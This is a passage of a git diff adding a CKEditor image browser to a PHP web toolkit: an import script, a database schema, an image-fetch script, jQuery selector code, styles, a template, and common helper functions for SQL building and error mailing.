+        //echo '<pre>'.print_r($files, true).'</pre>';
+        foreach ($files as $folderName => $file) {
+            if (is_array($file)) {
+                $fKey = key($file);
+                $folderToAdd     = ereg_replace("/$", "", $fKey);
+        //echo '<pre>'.print_r($folderToAdd, true).'</pre>';
+                $folder          = $this->addFolderToDatabase($folderToAdd, $parent);
+        //echo '<pre>'.print_r($folder, true).'</pre>';
+        //var_dump($files[$folderName][$fKey]);
+       // echo '<pre>'.print_r($file[$folderName][$fKey], true).'</pre>';
+                $processedFile[] = $this->processFilesArray($files[$folderName][$fKey], $folder);
+            } else {
+                $processedFile[] = $this->sendToImageServer($file, $parent);
+            }
+        }
+        return $processedFile;
+    }
+    // }}}
+    // {{{ readImageDir()
+    function readImageDir($path = '')
+    {
+        $dirName = $this->pathToImages . ereg_replace("/$", "", $path);
+        //var_dump($dirName);echo '<br />';
+        $d = dir($dirName);
+        while (false !== ($entry = $d->read())) {
+            if (!ereg("^\.|^CVS", $entry)) {
+                $entryPath = $this->pathToImages . $path . $entry;
+                //var_dump($entryPath); echo '<br />';
+                if ($dirCheck = is_dir($entryPath)) {
+                    $files[$path][] = $this->readImageDir($path . $entry . '/');
+                } else if ($fileCheck = is_file($entryPath)) {
+                    $files[$path][] = $path . $entry;
+                }
+            }
+        }
+        return $files;
+    }
+    // }}}
+    //{{{ runImport()
+    function runImport()
+    {
+        $files = $this->readImageDir();
+        echo '<pre>'.print_r($files, true).'</pre>';
+        $processedFiles = $this->processFilesArray($files['']);
+        //echo '<pre>'.print_r($processedFiles, true).'</pre>';
+    }
+    //}}}
+    // {{{ sendToImageServer()
+    function sendToImageServer($file, $folder)
+    {
+        $file_name    = basename($file);
+        $size         = getImageSize($this->pathToImages . $file);
+        $name_on_disk = $this->is->imageUpload(
+            $this->urlPathToImages . '/' . ereg_replace(' ', '%20', $file)
+        );
+        $image        = array(
+            'name_on_disk'    => $name_on_disk,
+            'file_name'       => $file_name,
+            'original_width'  => $size[0], 
+            'original_height' => $size[1], 
+        );
+        $this->addImageToDatabase($image, $folder);
+    }
+    // }}}
+}
+?>
diff --git a/Toolkit/CKImages/database/ckeditorImages.sql b/Toolkit/CKImages/database/ckeditorImages.sql
new file mode 100755 (executable)
index 0000000..1f0ae0d
--- /dev/null
@@ -0,0 +1,27 @@
+drop table ckeditor_folders;
+
+create table ckeditor_folders(
+id      serial primary key,
+name    text not null,
+parent  integer default 1 not null
+);
+
+grant all on ckeditor_folders_id_seq to nobody;
+grant all on ckeditor_folders to nobody;
+
+insert into ckeditor_folders(id, name, parent) values(1, 'root', 0);
+
+drop table ckeditor_images;
+
+create table ckeditor_images(
+id                  serial primary key,
+create_date         date default current_date,
+file_name text      not null,
+name_on_disk text   not null,
+original_width      text not null,
+original_height     text not null,
+folder              integer default 1 references ckeditor_folders (id) on delete set default
+);
+
+grant all on ckeditor_images_id_seq to nobody;
+grant all on ckeditor_images to nobody;
\ No newline at end of file
diff --git a/Toolkit/CKImages/database/importHtImages.php b/Toolkit/CKImages/database/importHtImages.php
new file mode 100755 (executable)
index 0000000..4e709ce
--- /dev/null
@@ -0,0 +1,6 @@
+<?php
+require_once '../../../setup.phtml';
+$dbh = Toolkit_Database::getInstance();
+$import = new Toolkit_CKImages_database_Import($dbh);
+$import->runImport();
+?>
diff --git a/Toolkit/CKImages/imageFetch.php b/Toolkit/CKImages/imageFetch.php
new file mode 100644 (file)
index 0000000..55951bc
--- /dev/null
@@ -0,0 +1,44 @@
+<?php
+if (!ctype_digit($_GET['file'])) {
+       exit();
+}
+
+require_once '../../setup.phtml';
+$dbh = Toolkit_Database::getInstance();
+
+try {
+       $sql = "
+               SELECT *
+                 FROM ckeditor_images
+                WHERE id = :id";
+
+       $stmt = $dbh->prepare($sql);
+       $stmt->bindParam(':id', $_GET['file'], PDO::PARAM_INT);
+       $stmt->execute();
+       $row = $stmt->fetch(PDO::FETCH_ASSOC);
+
+//     $fileToFetch = empty($row['original_image'])
+//             ? $row['name_on_disk']
+//             : $row['original_image'];
+    $fileToFetch = $row['name_on_disk'];
+} catch (PDOException $e) {
+       Toolkit_Logger::logException('DB Error', $e);
+}
+set_time_limit(0);
+
+//     file to save the info
+$fp = fopen(dirname(__FILE__) . "/editedImages/$fileToFetch", 'w+');
+
+//     file we are downloading
+$ch = curl_init(CKIMAGE_ORIGINAL . $fileToFetch);
+curl_setopt($ch, CURLOPT_TIMEOUT, 50);
+curl_setopt($ch, CURLOPT_FILE, $fp);
+curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
+curl_exec($ch);
+curl_close($ch);
+fclose($fp);
+
+$path = urlencode(BASE . "Toolkit/CKImages/editedImages/$fileToFetch");
+$image_name = urlencode($row['file_name']);
+header('Location: ' . BASE_URL . "Toolkit/PHPImageEditor/index.php?imagesrc=$path&image_name=$image_name");
+?>
diff --git a/Toolkit/CKImages/libjs/image_selector.js b/Toolkit/CKImages/libjs/image_selector.js
new file mode 100755 (executable)
index 0000000..930bce2
--- /dev/null
@@ -0,0 +1,142 @@
+var IMAGE_SELECTOR =
+{
+    parentFolder: null,
+
+    init: function()
+    {
+               $('.tLeft').tipsy({gravity: 'sw'});
+               $('.tCenter').tipsy({gravity: 's'});
+               $('.tRight').tipsy({gravity: 'se'});
+               $('.tDelete').tipsy({gravity: 'se'});
+
+               $('a.CKImageEdit').click(function(event) {
+                       var $newWindow = window.open(
+                               $(this).attr('href'),
+                               '',
+                               'width=775,height=775',
+                               true
+                       );
+
+                       $newWindow.focus();
+                       return false;
+               });
+
+               tree1 = new tree_component();
+               tree1.init($("#folders"), {
+                       cookies : {
+                               prefix : "glm_image_browser",
+                               opts : { path : '/' }
+                       },
+                       ui : {
+                               animation : 500
+                       }
+               });
+
+        //  Make the tree default to all opened
+               $('#folders li.closed')
+            .toggleClass('open')
+                   .toggleClass('closed');
+
+               $('#folders a').click(IMAGE_SELECTOR.viewFolder);
+
+        //  Stop clicks on the LI elements, so the folders branches
+        //  will not close.
+        $('#folders li').click(function(event) {
+            event.stopImmediatePropagation();
+        });
+
+        $('div.thumb span.CKImageUse').click(function() {
+            var img = $(this).parent().siblings('img');
+                       var funcNum = $('#CKEditorFuncNum').text();
+
+            window.opener.CKEDITOR.tools.callFunction(funcNum, img.attr('rel'));
+            window.close();
+        });
+
+        $('div.thumb span.CKImageDelete').click(function(event) {
+            event.preventDefault();
+            if (confirm('Are you sure you want to delete this image?')) {
+                var img = $(this).parent().siblings('img').attr('rel');
+                var href = window.location.href.replace(/(.*)browser.php(.*)/, '$1controller.php$2&command=DeleteFile&img=' + img);
+
+                window.location.href = href;
+            }
+        });
+
+        $('#imageDialog').dialog({
+            bgiframe : true,
+            autoOpen : false,
+            resizable: false,
+            modal : true,
+            buttons : {
+                Cancel : function() {
+                    $(this).dialog('close');
+                },
+                'Upload Selected File' : function() {
+                    if ($('#imageDialog form input[type=file]').val()) {
+                        $('.ui-dialog-buttonpane button').attr('disabled', true);
+                        $('#imageDialog form').trigger('submit');
+                    } else {
+                        alert('You need to select a file first');
+                    }
+                }
+            }
+        });
+
+        $('#upload').click(function() {
+            $('#imageDialog').dialog('open');
+        });
+
+        $('#newFolder').submit(IMAGE_SELECTOR.createFolder);
+        $('#folderDialog').dialog({
+            bgiframe : true,
+            autoOpen : false,
+            resizable: false,
+            modal : true,
+            buttons: {
+                Cancel : function() {
+                    $('#folderName').removeClass('ui-state-error');
+                    $(this).dialog('close');
+                },
+                'Create' : IMAGE_SELECTOR.createFolder
+            }
+        });
+        $('#folderNew').click(function() {
+            $('#folderDialog').dialog('open');
+        });
+        $('#folderDelete').click(function() {
+            if (confirm('Are you sure you want to delete this folder?')) {
+                var href = window.location.href.replace(/(.*)browser.php(.*)/, '$1controller.php$2&command=DeleteFolder');
+
+                window.location.href = href;
+            }
+        });
+    },
+
+    createFolder: function(event)
+    {
+        event.preventDefault();
+        //  don't submit empty folder
+        var folderName = $('#folderName');
+        var val = folderName.val();
+        if (val == '') {
+            alert('You need to type a folder name first');
+            return false;
+        } else {
+            $('.ui-dialog-buttonpane button').attr('disabled', true);
+            var href = window.location.href.replace(/(.*)browser.php(.*)/, '$1controller.php$2&command=CreateFolder&name=' + $('#folderName').val());
+            if (IMAGE_SELECTOR.parentFolder != null) {
+                href += '&parentFolder=' + IMAGE_SELECTOR.parentFolder;
+                IMAGE_SELECTOR.parentFolder = null;
+            }
+            window.location.href = href;
+        }
+    },
+
+       viewFolder: function(event)
+       {
+               location.href = $(this).attr('href');
+       }
+};
+
+$(document).ready(IMAGE_SELECTOR.init);
diff --git a/Toolkit/CKImages/styles.css b/Toolkit/CKImages/styles.css
new file mode 100755 (executable)
index 0000000..50260c8
--- /dev/null
@@ -0,0 +1,153 @@
+body {
+       font-family: arial, sans-serif;
+       font-size: 11px;
+       background: url(assets/night-fate-stock2.jpg) no-repeat fixed;/* #E3E3C7; */
+       margin: 0;
+       padding: 0;
+}
+#wrapper {
+       width: 750px;
+       height: 1%;
+       overflow: hidden;
+       margin: 10px 0px 5px 10px;
+}
+h1 {
+       font-size: 24px;
+       margin: 0;
+       padding: 10px;
+       background: rgba(255, 255, 255, 0.8);
+       position: fixed;
+       }
+
+#toolbar {
+       background: #F1F1E3;
+       width: 140px;
+       border: 1px solid #D5D59D;
+       float: left;
+       padding: 8px;
+       margin-right: 20px;
+       margin-top: 60px;
+       position: fixed;
+       }
+#toolbar > ul {
+       border-bottom: 1px solid #333;
+       padding: 0 0 6px 0;
+       margin: 0 0 6px 0;
+       }
+#toolbar > ul, #toolbar > ul li {
+       list-style: none;
+       display: block;
+}
+#toolbar > ul li {
+       padding: 2px 2px 2px 26px;
+       line-height: 18px;
+       border: 1px solid #F1F1E3;
+       margin: 0;
+       background-position: 2px center;
+       background-repeat: no-repeat;
+       text-decoration: underline;
+       cursor: hand;
+       cursor: pointer;
+}
+#toolbar > ul li:hover {
+       border: 1px solid #D5D59D;
+       text-decoration: none;
+}
+#toolbar #upload {
+       background-image: url(http://app.gaslightmedia.com/assets/icons/add.png);
+}
+#toolbar #folderNew {
+       background-image: url(http://app.gaslightmedia.com/assets/icons/folder_add.png);
+}
+#toolbar #folderDelete {
+       background-image: url(http://app.gaslightmedia.com/assets/icons/folder_delete.png);
+}
+.tree ul {
+       margin: 0;
+       padding-top: 1px;
+}
+.tree li a {
+       background-image: url(http://app.gaslightmedia.com/assets/icons/folder.png);
+}
+.tree li.open {
+       background: none;
+       }
+#pred_1 {
+       padding-left: 3px;
+       padding-top: 3px;
+}
+.tree li li.open {
+       background: transparent url(http://app.gaslightmedia.com/libjs/jsTree/source/images/li.gif) no-repeat scroll 7px 7px;
+}
+/* Main Section */
+#photo-gallery {
+       height: 1%;
+       overflow: hidden;
+       padding-top: 10px;
+       margin: 50px 0 0 180px;
+       }
+.thumb {
+       width: 120px;
+       height: 160px;
+       float: left;
+       margin: 0 20px 20px 0;
+       background: #F1F1E3;
+       background: rgba(241, 241, 227, 0.5);
+       font-size: 10px;
+       border-radius:5px;
+       -moz-border-radius:5px;
+       -webkit-border-radius:5px;
+       border: 1px solid #D5D59D;
+       }
+.rowTop {
+       height: 1%;
+       overflow: hidden;
+}
+.thumb img {
+       display: block;
+       margin: 0px 10px 2px 10px;
+       border: 1px dotted #ccc;
+       clear: left;
+}
+
+.CKImageFunctions {
+       margin: 10px 5px;
+       }
+.CKImageFunctions a,
+.CKImageFunctions span {
+       display: block;
+       line-height: 16px;
+       margin: 0 5px 0 5px;
+       text-decoration: underline;
+       width: 16px;
+       height: 16px;
+       text-indent: -9000px;
+       float: left;
+       }
+       
+/* cursor */
+.CKImageUse, .CKImageEdit, .CKImageDelete {
+       cursor: hand;
+       cursor: pointer;
+       }
+
+.CKImageUse                    {background: url(http://app.gaslightmedia.com/assets/icons/accept.png) no-repeat;       }
+.CKImageEdit           {background: url(http://app.gaslightmedia.com/assets/icons/image_edit.png) no-repeat;   }
+.CKImageView           {background: url(http://app.gaslightmedia.com/assets/icons/image.png) no-repeat;}
+.CKImageDelete {background: url(http://app.gaslightmedia.com/assets/icons/image_delete.png) no-repeat;}
+
+.CKImageName {
+       display: none;
+}
+
+
+.CKImageProperties {
+       margin: 3px auto;
+       text-align: center;
+}
+.CKImageDate {
+       display: none;
+}
+#menuFolder, #menuImage, #column {
+       display: none;
+}
\ No newline at end of file
diff --git a/Toolkit/CKImages/templates/thumbnails.html b/Toolkit/CKImages/templates/thumbnails.html
new file mode 100755 (executable)
index 0000000..3c35b36
--- /dev/null
@@ -0,0 +1,70 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Thumbnail Images</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<link rel="stylesheet" type="text/css" href="glmappbaseurl/libjs/jqueryui/1.8/css/smoothness/jquery-ui-1.8.custom.css">
+<link rel="stylesheet" type="text/css" href="glmappbaseurl/libjs/jsTree/source/tree_component.css">
+<link rel="stylesheet" type="text/css" href="glmappbaseurl/libjs/plugins/tipsy/0.1.7/tipsy.css">
+<link rel="stylesheet" type="text/css" href="styles.css">
+<script type="text/javascript" src="glmappbaseurl/libjs/jquery/jquery-1.4.2.min.js"></script>
+</head>
+<body>
+       <h1>GLM Image Browser</h1>
+       <div id="wrapper">
+               <div id="toolbar">
+                       <ul>
+                               <li id="upload">Upload New Image</li>
+                       </ul>
+                       <ul>
+                               <li id="folderNew">Create New Folder</li>
+                               <li id="folderDelete">Delete This Folder</li>
+                       </ul>
+                       <div id="folders" class="tree">
+                               Folders
+                               {folders:h}
+                       </div>
+               </div><!-- /#toolbar -->
+               <div id="photo-gallery" class="galleryRow">
+                       <div flexy:foreach="images,i" class="thumb">
+                               <div class="CKImageProperties">{i[original_width]:h}x{i[original_height]:h}</div>
+                               <img src="{imageManager}{i[name_on_disk]:h}" rel="{originalPath}{i[name_on_disk]:h}" title="{i[file_name]:h}" alt="{i[name_on_disk]:h}">
+                               <div class="CKImageFunctions">
+                                       <span class="CKImageUse tLeft" title="Insert Image">Insert this image</span>
+                                       <a class="CKImageView tCenter" href="{originalPath}{i[name_on_disk]:h}" target="_blank" title="View Image">View Full Image</a>
+                                       <a href="{baseUrl:h}Toolkit/CKImages/imageFetch.php?file={i[id]}" class="CKImageEdit tRight" target="_blank" title="Edit Image">Edit this image</a>
+                                       <span class="CKImageDelete tDelete" title="Delete Image">Delete Image</span>
+                               </div><!-- /#CKImageFunctions -->
+                               <div class="CKImageName">{i[file_name]:h}</div>
+                               <div class="CKImageDate">{i[create_date]:h}</div>
+                       </div>
+               </div><!-- /#photo-gallery -->
+       </div><!-- /#wrapper -->
+       <!-- dialog box for adding new folders -->
+       <div id="folderDialog" class="dialog" style="display: none;" title="Create new folder">
+               <form id="newFolder">
+                       <label for="folderName">Name</label>
+                       <input type="text" name="folderName" id="folderName">
+               </form>
+       </div>
+       <!-- dialog box for adding new images -->
+       <div id="imageDialog" class="dialog" style="display: none;" title="Upload new image">
+               {quickUploadForm:h}
+       </div>
+
+       <!-- Function number -->
+       <span style="display: none;" id="CKEditorFuncNum">{CKEditorFuncNum}</span>
+    
+       <script type="text/javascript" src="glmappbaseurl/libjs/jqueryui/1.8/development-bundle/ui/minified/jquery.ui.core.min.js"></script>
+       <script type="text/javascript" src="glmappbaseurl/libjs/jqueryui/1.8/development-bundle/ui/minified/jquery.ui.widget.min.js"></script>
+       <script type="text/javascript" src="glmappbaseurl/libjs/jqueryui/1.8/development-bundle/ui/minified/jquery.ui.position.min.js"></script>
+       <script type="text/javascript" src="glmappbaseurl/libjs/jqueryui/1.8/development-bundle/ui/minified/jquery.ui.dialog.min.js"></script>
+       <script type="text/javascript" src="glmappbaseurl/libjs/jsTree/libjs/css.js"></script>
+       <script type="text/javascript" src="glmappbaseurl/libjs/jquery.listen.js"></script>
+       <script type="text/javascript" src="glmappbaseurl/libjs/jquery.cookie.js"></script>
+       <script type="text/javascript" src="glmappbaseurl/libjs/jsTree/source/tree_component.js"></script>
+       <script type="text/javascript" src="libjs/image_selector.js"></script>
+       <script type="text/javascript" src="glmappbaseurl/libjs/plugins/tipsy/0.1.7/jquery.tipsy.js"></script>
+</body>
+</html>
diff --git a/Toolkit/Common.php b/Toolkit/Common.php
new file mode 100644 (file)
index 0000000..19ff9bd
--- /dev/null
@@ -0,0 +1,1041 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Common Toolkit application function repository
+ *
+ * PHP version 5
+ *
+ * @category Toolkit
+ * @package  Toolkit_Common
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @release     CVS: $Id: Common.php,v 1.3 2010/10/07 10:44:15 jamie Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Common collection of functions used throughout the GLM Toolkit
+ *
+ * @category  Toolkit
+ * @package      Toolkit_Common
+ * @author       Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ */
+class Toolkit_Common
+{
+       //      {{{     properties
+
+       /**
+        * Who to send email to when a problem occurs on a live site
+        *
+        * This property doesn't matter for the development servers b/c the
+        * script will display the error encountered and terminate immediately.
+        * On the live site, a notification will be displayed to the user that
+        * an unexpected error has occured and will inform them to try again later.
+        * It will then send an email to the admin alerting them of the email.
+        *
+        * @var string
+        * @access protected
+        * @see Toolkit_Common::handleError()
+        */
+       protected static $admin = 'errors@gaslightmedia.com';
+
+       /**
+        * Who to set the mail from when emailing errors
+        *
+        * @var string
+        * @access protected
+        * @see Toolkit_Common::handleError()
+        */
+    protected static $from = 'Gaslight Media Toolkit <server@gaslightmedia.com>';
+
+       //      }}}
+
+       //      {{{ arrayFlatten()
+
+       /**
+        * Recursively reduces multi-dimensional arrays to single-dimensional arrays
+        *
+        * @param array $array            The array to flatten.
+        * @param int   $preserveKeys How to handle array keys
+        *                                                         0 = Never
+        *                                                         1 = Strings
+        *                                                         2 = Always
+        * @param array &$newArray        The new created from the flattening
+        *
+        * @return array Single dimensional array.
+        * @access public
+        */
+       public function arrayFlatten($array,
+        $preserveKeys = 1,
+        &$newArray = Array()
+    ) {
+               foreach ($array as $key => $child) {
+                       if (is_array($child)) {
+                               $newArray =& Toolkit_Common::arrayFlatten(
+                    $child,
+                    $preserveKeys,
+                    $newArray
+                );
+                       } elseif ((int) $preserveKeys + (int) is_string($key) > 1) {
+                               $newArray[$key] = $child;
+                       } else {
+                               $newArray[] = $child;
+                       }
+               }
+               return $newArray;
+       }
+
+       //      }}}
+
+    //  {{{ cleanArray()
+
+    /**
+     * removes values from an array where the key ends in '_rmv'
+     * 
+     * @param array &$values array to clean
+     *                         
+     * @return array  array w/ unneeded elements removed
+     * @access public
+     * @static
+     */
+    public static function cleanArray(&$values)
+    {
+               //      Get rid of any defined un-needed elements.
+               //      un-needed elements after the form is submitted are defined
+               //      by the ending _rmv name.
+               foreach ($values as $k => &$v) {
+                       if (preg_match('/^.+_rmv$/', $k)) {
+                               unset($values[$k]);
+                       }
+               }
+
+        return $values;
+    }
+
+    //  }}}
+       //      {{{     createEmailBody()
+       
+       /**
+        * Convert the form into an acceptable table to include in email
+        *
+        * This function can be called from any form class to generate
+        * a HTML table that we can use in an email. Elements can be dynamically
+        * rendered to meet your needs if you wish.
+        *
+        * If you wish to have any element(s) rendered differently than what the
+        * form already rendered them as, you need to define a public method 
+        * named "emailRenderElement" in the calling class that will accept an
+        * elements name and you can create the rendering template in that class.
+        *
+        * Example:
+        * This example will turn groups like radio buttons or checkboxes
+        * from lists like:
+        * [ ] element_one [x] element_two [x] element_three
+        * ( ) element_one (x) element_two ( ) element_three
+        * into lists like:
+        * [ ] element_one              ( ) element_one
+        * [x] element_two              (x) element_two
+        * [x] element_three    ( ) element_three
+        * <code>
+        * public function &emailRenderElement($e)
+        * {
+        *              switch ($e) {
+        *                      case 'element_one' :
+        *                      case 'element_two' :
+        *                      case 'element_three' :
+        *                              $renderer =& $this->defaultRenderer();
+        *                              $renderer->clearAllTemplates();
+        *                              $renderer->setGroupTemplate('{content}', $e);
+        *                              $renderer->setGroupElementTemplate('{element}<br>', $e);
+        *                              break;
+        *
+        *                      default :
+        *                              $renderer = null;
+        *                              break;
+        *              }
+        *
+        *              return $renderer;
+        *      }
+        * </code>
+        *
+        * @param array $newLabels       Assoc array of element names and new
+        *                                                       labels to be used in the email form.
+        *                                                       eg [$newLabels['element'] => 'Label']
+        * @param array $excludeList Any element that needs to be removed
+        *                                                       from the form when creating the table
+        *                                                       eg [$list = array(e1, e2, e3, etc..)]
+        *
+        * @return mixed The table body for the email.
+        */
+       public function createEmailBody(
+        array $newLabels = array(),
+        array $excludeList = array()
+    ) {
+               $this->freeze();
+               //      Get the values corresponding to the elements present in the form.
+               $formData = $this->exportValues();
+               //      The array keys holds all the names of the elements.
+               $elements = array_keys($formData);
+               //      Remove any unwanted elements from our elements array.
+               foreach ($excludeList as $trgt) {
+                       unset($elements[array_search($trgt, $elements)]);
+               }
+
+               //      Which row we are at.
+               $i     = 0;
+               $table = new HTML_Table(array('class' => 'data'));
+               //      Auto grow the table, since the forms will by dynamic in size.
+               $table->setAutoGrow(true);
+               //      Get the labels and values of the elements.
+               foreach ($elements as $name) {
+                       $e =& $this->getElement($name);
+                       //      Get the default HTML for each element.
+                       $html = $e->toHtml();
+                       //      If any elements need to have their html
+                       //      changed for an email, this function in the
+                       //      class should exist and will return a renderer
+                       //      object of how the element should be rendered.
+                       if (method_exists($this, 'emailRenderElement')) {
+                               $renderer =& $this->emailRenderElement($name);
+                               //      make sure we have an actual rendering object
+                               //      if the element doesn't need to be altered it should
+                               //      just return null.
+                               if (is_object($renderer)) {
+                                       $e->accept(&$renderer);
+                                       $html = $renderer->toHtml($name);
+                                       //      We have to reset the entire forms html
+                                       //      otherwise we'll just keep adding to it everytime
+                                       //      we render a new element.
+                                       //      This is a bit of a hack to make this work (because
+                                       //      the _html element is supposed to be a private
+                                       //      property)
+                                       $renderer->_html = null;
+                               }
+                       }
+                       //      Get the label for the element.
+                       $label = array_key_exists($name, $newLabels) ?
+                                       $newLabels[$name] :
+                                       $e->getLabel();
+
+                       //      Make the row and increment the row counter.
+                       $table->setCellContents($i, 0, $label);
+                       $table->setCellAttributes($i, 0, array('class' => 'label'));
+                       $table->setCellAttributes($i, 1, array('class' => 'field'));
+                       $table->setCellContents($i++, 1, $html);
+               }
+               return $table->toHtml();;
+       }
+
+       //      }}}
+       //      {{{     createSQLInsert()
+
+    /**
+     * Generates a properly formatted sql query to insert data into a table
+     * 
+     * @param string $table   Name of the table to insert into
+     * @param array  $columns Array of column names you want to set in the
+        *                                                insert statement and bind names
+        *
+        * <code>
+        * Toolkit_Common::createSQLInsert('member', array('name', 'pos'));
+        * will create the sql statement
+        * INSERT INTO member (name, pos) VALUES(:name, :pos)
+        * </code>
+        *
+     * @return string Formatted SQL string
+     * @access public
+     * @static
+     */
+       public static function createSQLInsert($table, array $columns)
+       {
+               $params     = implode(', ', $columns);
+               $bindParams = ':' . implode(', :', $columns);
+
+               return "INSERT INTO $table ($params) VALUES ($bindParams)";
+       }
+
+       //      }}}
+       //      {{{     createSQLUpdate()
+
+    /**
+     * Generates a properly formatted sql query to update data in a table
+        *
+        * <code>
+        * Toolkit_Common::createSQLUpdate('member',
+        *                                                                 array('name', 'pos'),
+        *                                                                 array('id = :id');
+        * will create the sql statement
+        * UPDATE member SET name = :name, pos = :pos WHERE id = :id
+        * </code>
+     * 
+     * @param string $table       Name of the table to update
+     * @param array  $columns     Array of columns names you want to update
+     * @param array  $constraints Constraints to apply to the table to prevent
+        *                                                        running the update on every row in the db
+        *
+     * @return string formatted query string
+     * @access public
+     * @static
+     */
+       public static function createSQLUpdate(
+        $table,
+        array $columns,
+        array $constraints = null
+    ) {
+               $length = count($columns);
+               for ($i = 0; $i < $length; ++$i) {
+                       $bindParams .= "{$columns[$i]} = :{$columns[$i]}";
+                       if ($i < ($length - 1)) {
+                               $bindParams .= ', ';
+                       }
+               }
+               $sql = "UPDATE $table SET $bindParams";
+
+               if (!empty($constraints)) {
+                       $sql .= ' WHERE ' . implode(' AND ', $constraints);
+               }
+
+               return $sql;
+       }
+
+       //      }}}
+    //  {{{ createTables()
+
+    /**
+     * Read file from parameter and use the PDO parameter to create process file
+     * 
+     * @param PDO    $pdo  PHP Data Object to use for DB calls
+     * @param string $file full path of file to parse
+     *                      
+     * @return void  
+     * @access public
+     * @static
+     */
+    public static function createTables(PDO $pdo, $file)
+    {
+        $sql = file_get_contents($file);
+        //  break multiple queries apart by ';'
+        $tok = strtok($sql, ';');
+        try {
+               //  while we have valid tokens, execute the query
+               //  and grab the next token
+               while ($tok !== false) {
+                   $pdo->query($tok);
+                   $tok = strtok(';');
+               }
+        } catch (PDOException $e) {
+               Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+       
+       //      {{{ dieGracefully()
+
+    /**
+     * Gracefully exit from the script when an unrecoverable error is created
+     * 
+     * @param string  $msg      Message to display to user
+     * @param mixed   $e        Error object
+     * @param boolean $moreInfo More debugging info when in development
+        *
+     * @return void   
+     * @access public 
+     */
+       public function dieGracefully($msg = null, $e = null, $moreInfo = false)
+       {
+               if (is_null($e)) {
+                       if (is_null($msg)) {
+                               die('There was an error, please try again later!');
+                       } else {
+                               die($msg);
+                       }
+               } else {
+                       echo $msg . '<br>';
+                       echo 'Error Caught.  <br>';
+                       echo 'Error: ' . $e->getMessage() . '<br>';
+                       if ($moreInfo) {
+                               echo 'Code: <pre>' . $e->getCode() . '</pre><br>';
+                               echo 'Debug Info: <pre>' . $e->getDebugInfo() . '</pre><br>';
+                       }
+               }
+       }
+
+       //      }}}
+
+       //      {{{     errorException()
+
+       /**
+        * Stops script on Exception error
+        *
+        * Stops the script when an Exception is raised inside a
+        * try/catch block.
+        *
+        * When a site is no longer in DEVELOPMENT, ie: its live on ws3.
+        * We don't show any error info, but let the user know an unexpected
+        * error has occured and then mail the error info the the admin.
+        *
+        * Example usage:
+        * <code>
+        * try {
+               if ($foo != $bar) {
+                       throw new Exception ("Foo Doesn't equal Bar");
+               }
+        * } catch (Exception $e) {
+        *      return Toolkit_Common::handleError($e);
+        * }
+        * </code>
+        *
+        * @param Exception $e    Exception Object
+     * @param Mail      $mail What to use to send mail to admin
+        *
+        * @return false
+        * @access public
+     * @static
+        */
+       public static function errorException(Exception $e, Mail $mail = null)
+       {
+               if (!is_null($mail)) {
+            $subject = 'Exception Error for ' . SITENAME;
+            self::mailError($mail, $subject);
+               } else {
+                       echo self::getErrorInfo($e);
+               }
+
+               return false;
+       }
+
+       //      }}}
+       //      {{{     errorHTMLQuickFormError()
+
+       /**
+        * Handles PEAR Errors for our developers
+        *
+        * When a site is no longer in DEVELOPMENT, ie: its live on ws3.
+        * We don't show any error info, but let the user know an unexpected
+        * error has occured and then mail the error info the the admin.
+        *
+        * HTML_QuickForm Example usage:
+        * <code>
+        * $e =& $this->getElement('elementName');
+        * if (PEAR::isError($e)) {
+        *      return Toolkit_Common::handleError($e);
+        * }
+        * </code>
+        *
+        * @param HTML_QuickForm_Error $e    QuickFormError Object
+     * @param Mail                 $mail What to use to send mail to admin
+        *
+        * @return false
+        * @access public 
+        * @since Method available since Release 1.0.1
+     * @static
+        */
+       public static function errorHTMLQuickFormError(
+        HTML_QuickForm_Error $e,
+        Mail $mail = null
+    ) {
+               if (!is_null($mail)) {
+            $subject = 'PEAR Error for ' . SITENAME;
+            self::mailError($mail, $subject);
+               } else {
+            echo self::getErrorInfo($e);
+               }
+
+               return false;
+       }
+
+       //      }}}
+       //      {{{     errorPDOException()
+
+       /**
+        * Stops script on database error
+        *
+        * Stops the script when a PDOException is raised inside a
+        * try/catch block.
+        *
+        * When a site is no longer in DEVELOPMENT, ie: its live on ws3.
+        * We don't show any error info, but let the user know an unexpected
+        * error has occured and then mail the error info the the admin.
+        *
+        * Example usage:
+        * <code>
+        * try {
+        *      $sql = "
+        *               SELECT *
+        *                 FROM table_name
+        *                WHERE id = :id";
+        *
+        *      $stmt = $this->dbh->prepare($sql);
+        *      $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+        *      return $stmt->execute();
+        * } catch (PDOException $e) {
+        *      return Toolkit_Common::handleError($e);
+        * }
+        * </code>
+        *
+        * @param PDOException $e    PDO Error Object.
+     * @param Mail         $mail Mail object used to send admin email
+        *
+        * @return false
+        * @access public 
+        * @since Method available since Release 1.0.1
+        */
+       public function errorPDOException(PDOException $e, Mail $mail = null)
+       {
+               if (!is_null($mail)) {
+            $subject = 'SQL Error for ' . SITENAME;
+            self::mailError($mail, $subject);
+               } else {
+                       echo self::getErrorInfo($e);
+               }
+
+               return false;
+       }
+
+       //      }}}
+       //      {{{     errorRuntimeException()
+
+       /**
+        * Stops script on runtime error
+        *
+        * Stops the script when a runtimeException is raised inside a
+        * try/catch block.
+        *
+        * When a site is no longer in DEVELOPMENT, ie: its live on ws3.
+        * We don't show any error info, but let the user know an unexpected
+        * error has occured and then mail the error info the the admin.
+        *
+        * @param RuntimeException $e    PDO Error Object.
+     * @param Mail             $mail Mail object used to send admin email
+        *
+        * @return false
+        * @access public 
+        * @since Method available since Release 1.0.2
+        */
+       public function errorRuntimeException(
+               RuntimeException $e,
+               Mail $mail = null
+       ) {
+               if (!is_null($mail)) {
+            $subject = 'Runtime Exception for ' . SITENAME;
+            self::mailError($mail, $subject);
+               } else {
+                       echo self::getErrorInfo($e);
+               }
+
+               return false;
+       }
+
+       //      }}}
+       //      {{{     errorPEARError()
+
